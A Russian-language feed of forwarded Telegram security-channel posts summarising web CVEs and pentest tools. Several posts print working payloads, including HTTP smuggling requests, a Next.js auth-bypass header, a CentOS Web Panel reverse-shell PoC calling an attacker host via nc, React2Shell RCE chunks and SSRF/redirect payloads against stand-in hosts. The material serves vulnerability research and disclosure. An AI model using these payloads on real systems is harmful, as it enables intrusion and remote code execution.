Forwarded from SHADOW:Group
Раскрыли подробности
CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.Пример
Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET
/smuggle находится в теле HEAD-запроса:HEAD / HTTP/1.1
Host: localhost
Content-Length: 52
GET /smuggle HTTP/1.1
Host: localhost
Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.
Сценарии атак
Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).
Пример с Kong Gateway
Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.
Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.
HEAD / HTTP/1.1
Host: localhost
Content-Length: 122
HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive
GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.
Допустим, Cloudflare блокирует доступ к
/admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.Пример:
HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40
GET /admin HTTP/1.1
Host: victim.com
Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.
Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.
Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.
Подробности
Более подробное описание читайте в блоге по ссылке.
#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
Раскрыли подробности новой уязвимости в Next.JS
CVE-2025-29927. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.Как это работает
Next.js использует
x-middleware-subrequest для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Пример запроса:
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Результат: Middleware полностью игнорируется, и запрос проходит, как будто пользователь авторизован.
Другие сценарии атак
Если middleware устанавливает Content-Security-Policy и другие заголовки - они будут проигнорированы.
Например, если сайт делает rewrite на основе геолокации, можно закэшировать "пустую" или ошибочную версию страницы, нарушив доступность для других.
Кого это касается
Приложения, использующие middleware для авторизации или других чувствительных задач. Если middleware не используется - уязвимость малозначима (кроме DoS-сценариев).
📖 Подробнее:
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
#web #bac #cache #dos #csp
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Высокоскоростной инструмент для пассивного сбора и эффективного обнаружения URL-адресов. От создателей nuclei, написан на
UPD. Добавили scope контроль:
SCOPE:
-us, -url-scope string[] in scope url regex to be followed by urlfinder
-uos, -url-out-scope string[] out of scope url regex to be excluded by urlfinder
-fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) or custom regex (e.g., '(company-staging.io|company.com)') (default "rdn")
-ns, -no-scope disables host based default scope
-do, -display-out-scope display external endpoint from scoped crawling
Установка:
go install -v github.com/projectdiscovery/urlfinder/cmd/urlfinder@latest
Запуск:
urlfinder -d tesla.com
# Match и filter
urlfinder -d tesla.com -m support -f faq
urlfinder -d tesla.com -m include-patterns.txt -f exclude-patterns.txt
# JSON export
urlfinder -d tesla.com -j
#urlfinder #soft #golang #web #pentest
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Виртуальная лаборатория, основанная на
Предустановленные лабы и инструменты:
▪️ OWASP Juice Shop▪️ WebGoat▪️ Mutillidae▪️ bWAPP▪️ DVWA▪️ Burp Suite▪️ Nikto▪️ SQLMap
#web #pentest #samurai
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Инструмент, предназначенный для тестирования механизмов загрузки файлов (upload forms). Использует различные методы поиска ошибок, чтобы упростить процесс выявления и эксплуатации уязвимостей.
С простенькими формами и уязвимостями справляется, тестировалось на машине HackTheBox - Magic
Работает с request файлом взятым из
Установка:
git clone https://github.com/sAjibuu/Upload_Bypass.git
pip install -r requirements.txt
Режим детектирования:
python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --detect
Режим эксплуатации:python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --exploit
Anti malware mode:python upload_bypass.py -r test -s 'File uploaded successfully' -E php -D /uploads --burp --anti_malware
#web #pentest #upload #python #soft
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Хороший анализатор HTTP заголовков
В
sudo apt install humble
Использование:
python3 humble.py -u https://www.spacex.com
#humble #web #pentest
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Ресурс с интерактивными примерами эксплуатации веб уязвимостей. Также указаны методы противодействия, подойдет новичкам.
Различные темы, от классических sqli, xss, xxe и т.д. до LLM Prompt Injection
#web #pentest
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from hx0110
watchtowr
Сегодня вышел еще один классный ресерч у watchtowr. На самом деле очень люблю читать их ресерчи, очень близок их подход к написанию и в целом то, как они показывают весь процесс поиска уяз
https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
#web #research
Сегодня вышел еще один классный ресерч у watchtowr. На самом деле очень люблю читать их ресерчи, очень близок их подход к написанию и в целом то, как они показывают весь процесс поиска уяз
https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
#web #research
watchTowr Labs
SysOwned, Your Friendly Support Ticket - SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)
It’s… another week, and another vendor who is apparently experienced with ransomware gangs but yet struggles with email.
In what we've seen others term "the watchTowr treatment", we are once again (surprise, surprise) disclosing vulnerability research that…
In what we've seen others term "the watchTowr treatment", we are once again (surprise, surprise) disclosing vulnerability research that…
Forwarded from SHADOW:Group
Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X.
Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (
Соответственно, мы можем использовать пэйлоад типа
#web #bypass
Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (
URL вернет действительное имя хоста с любым недействительным протоколом, даже с точкой) Соответственно, мы можем использовать пэйлоад типа
evil.com://www.example.com. Хост www.example.com будет в списке разрешенных, к параметру добавится префикс «https://» и мы получим редирект на https://evil.com//www.example.com. #web #bypass
Forwarded from hx0110
Authentication Bypass to RCE in Versa Concerto
На прошедшем phd ребята из project discovery представили несколько своих зиродеев. Сам доклад можно глянуть тут. Одним из таргетов была Versa Concerto:
Их ресёрч вышел совсем недавно, и в нём разобраны отличные находки, которые собираються в красивую цепочку:
1. Auth bypass за счет TOCTOU
2. Примитив записи файла (однако файл быстро удалялся из-за отсутствия токена доступа)
3. Race condition to RCE - имея примитив из п.2, остаеться попасть в race window, загрузив ld.so.preload, ссылающуюся на hook.so, и саму вредоносную либу hook.so, которая будет подгружена.
4. Так как каждые 10 секунд внутри контейнера запускается curl, необходимо, чтобы в момент его запуска и ld.so.preload, и hook.so находились в системе. Как только все условия выполнены — RCE (пока в контейнере).
❗️ Также упоминается уязвимость hop-by-hop headers, которая позволяет получить административный доступ и, например, выполнить п.3 и п.4 без необходимости попадания в race window.
5. Поскольку каталоги /usr/bin и /bin контейнера были примаунчены к одноимённым каталогам хостовой ОС, и на хосте по умолчанию работал cron, появилась возможность перезаписать бинарный файл и добиться его исполнения уже на хосте, что позволило получить RCE на хостовой машине.
Красиво!🔥
Ресерч: https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce
#web #vulns
На прошедшем phd ребята из project discovery представили несколько своих зиродеев. Сам доклад можно глянуть тут. Одним из таргетов была Versa Concerto:
Versa Concerto is a widely used network security and SD-WAN orchestration platform
Их ресёрч вышел совсем недавно, и в нём разобраны отличные находки, которые собираються в красивую цепочку:
1. Auth bypass за счет TOCTOU
2. Примитив записи файла (однако файл быстро удалялся из-за отсутствия токена доступа)
3. Race condition to RCE - имея примитив из п.2, остаеться попасть в race window, загрузив ld.so.preload, ссылающуюся на hook.so, и саму вредоносную либу hook.so, которая будет подгружена.
4. Так как каждые 10 секунд внутри контейнера запускается curl, необходимо, чтобы в момент его запуска и ld.so.preload, и hook.so находились в системе. Как только все условия выполнены — RCE (пока в контейнере).
5. Поскольку каталоги /usr/bin и /bin контейнера были примаунчены к одноимённым каталогам хостовой ОС, и на хосте по умолчанию работал cron, появилась возможность перезаписать бинарный файл и добиться его исполнения уже на хосте, что позволило получить RCE на хостовой машине.
Красиво!
Ресерч: https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce
#web #vulns
Please open Telegram to view this post
VIEW IN TELEGRAM
ProjectDiscovery
Authentication Bypass to RCE in Versa Concerto — ProjectDiscovery Blog
Introduction
Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service…
Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service…
👏1
Forwarded from Что-то на пентестерском
Что может быть проще: сброс пароля, подтверждение почты или аутентификация по токену? Но если ваш токен генерируется геморройно простым методом — у злоумышленника появляется прямой доступ к системе. Давайте разберёмся, почему до сих пор взламываются даже крупные сервисы и почему “уникальный токен” — не всегда синоним безопасности.
Иногда разработчики генерят токены через стандартные функции вроде
rand() или time(), добавляя к ним user_id или инкрементный счетчик. Примеры из реального мира:- Сброс пароля:
token = md5(time() . user_id)- Авторизация: просто
strval(rand())Самый частый паттерн:
1. Изучаем токен — часто можно декодировать его, видим время или user_id.
2. Получаем user_id жертвы (через API или просто по URL).
3. Генерируем гипотетические значения токена по шаблону, который использует сервер.
4. Подставляем их в запрос — вход срабатывает. Профит.
rand() на популярных языках — достаточно знать seed или время запуска генератора, чтобы воспроизвести последовательность токенов полностью (пример: предсказуемые токены сброса пароля в старых версиях некоторых CMS).Используйте только криптографически стойкие генераторы случайных чисел:
- Для PHP:
random_bytes() и bin2hex()- Для Python:
secrets.token_urlsafe()- Для Node.js:
crypto.randomBytes()Короче — никогда не генерируйте security-токены с помощью наивных функций и не смешивайте их с очевидными константами (user_id, timestamp и прочее)! Любой аудитор кода обязан сразу поднимать тревогу, видя старые добрые
md5(time()).Когда вы в последний раз проверяли генерацию токенов в своем проекте? Поделитесь кейсами — у кого встречались "простейшие" реализации? 👀
ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
От банальной оплошности в проверке префикса пути и тонкостей кэширования CDN, до оригинального использования символов табуляции в URL и особенностей обработки редиректов в Fastly Edge Worker.
Читать статью
#web #xss #cloud #proxy
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Как мы получили хранимый XSS на каждом сайте AEM CLOUD, трижды
Adobe Experience Manager позиционируется как CMS «корпоративного уровня» и является одной из самых популярных CMS среди крупных компаний. Если вы заходите на лендинг крупного корпоративного сайта, есть большая вероятность, что под капотом работает AEM. Изначально…
Forwarded from Whitehat Lab
Fenrisk
Remote code execution in CentOS Web Panel - CVE-2025-48703
Security experts
RCE уязвимость приложения для управления серверами CentOS Web Panel
Проблема в функции
acc=changePerm, где не производится должная проверка входных данных, что позволяет выполнить произвольный код в параметре t_total❗️ Эту атаку можно выполнить с минимальной аутентификацией или в некоторых конфигурациях, с не аутентифицированным доступом.
PoC:
curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
--data 'fileName=.bashrc¤tPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'
#cve #poc #centoswebpanel #web
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
PortSwigger Research
Repeater Strike: manual testing, amplified
Manual testing doesn't have to be repetitive. In this post, we're introducing Repeater Strike - a new AI-powered Burp Suite extension designed to automate the hunt for IDOR and similar vulnerabilities
В этой статье мы представляем Repeater Strike - новое расширение Burp Suite на базе AI, предназначенное для автоматизации поиска IDOR и подобных уязвимостей
#portswigger #web #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from вольтаж
file://localhost/etc/passwd что вернёт?
В RFC 8089, верный формат протокола описан как
file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>Причём, в
<host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS. питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через
\N{CHARACTER NAME}. Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в
Content-Disposition есть параметр filename?В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для
filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % То есть, ты можешь закодировать перенос строки (
%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. . . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HaHacking
CVE-2025-55182 / CVE-2025-66478)?Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения
vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;Сервер и клиент обмениваются чанками, передавая их через
form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;С помощью нагрузки вроде"$1:__proto__:constructor:constructor"можно получить[Function: Function]— глобальный конструктор;
Если чанк имеет поле
then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);Соответственно, можем сформировать специальный объект, гдеthenуказывал бы наFunction.
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}getChunck берёт чанк с ID=0 как корневой для разбора ссылок;$@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;.status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка; $B происходит вызов response._formData.get(response._prefix + obj);._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;response._formData.get(response._prefix + "0") превратится в Function("█████████") getActionModIdOrError; В запросе должен быть заголовок Next-Actioncrafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}Разбирая полезную нагрузку по пунктам:
▪️ "then": "$1:__proto__:then"➡️ чтобы чанкID=0переписал собственный.then();▪️ "status": "resolved_model"➡️ чтобыChunk.prototype.thenперешёл к выполнениюinitializeModelChunk;▪️ "reason": -1➡️ чтобы не упасть на моментеtoStringвinitializeModelChunk;▪️ "value": '{"then": "$B0"}'➡️ чтобы после второго прохода десериализации превратить в thenable и добраться доresponse._formData.get(response._prefix + obj);▪️ "_prefix"➡️ здесь произвольный код для выполнения;▪️ "_formData"➡️ здесь указываем на конструктор;
CVE-2025-55182Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1
Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
CVE-2025-66478Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях
Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478
Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
Forwarded from Whitehat Lab
UPD. Большой апдейт
Комбайн для эксплуатации Command Injection уязвимостей, написан на python
В
Установка:
git clone https://github.com/commixproject/commix.git commix
python commix.py -h
"Детский" режим:
python commix --wizard
Обычный запуск:
python commix -u http://62.173.140.174:16016/ --data 'action='
Поддержка тамперов:
python commix -u http://62.173.140.174:16016/ --data 'action=' --tamper=space2ifs
Список тамперов:
python commix --list-tampers#commix #python #pentest #soft #web
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HaHacking
CVE-2025-55182 / CVE-2025-66478 / ...В связи с небезопасной десериализацей: запрос со специально сформированным объектом
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"██████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}CVE-2025-64446CVE-2025-58034CVE-2025-64446 — Path Traversal в ApachePOST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
CGIINFO: <CGIINFO>
{"data": {██████}}
CVE-2025-58034 — Auth исполнение произвольных системных команд; Вместе с CVE-2025-64446CVE-2025-41115Из-за некорректного маппинга идентификаторов в SCIM возможна подмена
externalId / создание пользователя с externalId=1POST /api/scim/v2/Users
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "externalId": ██████, ...}
CVE-2025-2945, CVE-2025-13780CVE-2025-2945 — для обработки запросов в модулях Query Tool / Cloud Deployment использовался eval()POST /sqleditor/query_tool/download/<ID>
{"query_commited": "██████"}
POST /cloud/deploy
{"high_availability": "██████"}
CVE-2025-13780 — Regex для блокировки опасных метакоманд в PLAIN-дампах не учитывал некоторые последовательности (\r, \x0B, \x0C, \xEF\xBB\xBF, ...)CVE-2025-55315Всё по заветам ‟HTTP/1.1 must die” от James Kettle — благодаря особенностям протокола + недостаточной фильтрации
Например, вот этот запрос вернёт
xy:POST /Echo HTTP/1.1
Host: <HOSTNAME>
Transfer-Encoding: chunked
Content-Type: text/plain
2;\n
xx\r\n
xy\r\n
0\r\n
\r\n
CVE-2025-4984413 лет томилась в кодовой базе, чтобы в этом году выстрелить: из-за особенностей работы со стеком, обработка специального скрипта может привести к Use-After-Free
CVE-2025-14847Отправка специальных сообщений с увеличенными значениями длины, чтобы сервер выделил побольше памяти (верит на слово, несмотря на размер после разжатия) + без
\0, чтобы не заканчивал читать@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from SHADOW:Group
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде
gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.Вендор же официально заявил, что это не баг
#web #ssrf #pdf
Forwarded from Whitehat Lab
XSSNow
XSSNow - Ultimate XSS Payload Arsenal
Community-driven XSS vulnerability testing platform with curated payloads and WAF bypass techniques.
Please open Telegram to view this post
VIEW IN TELEGRAM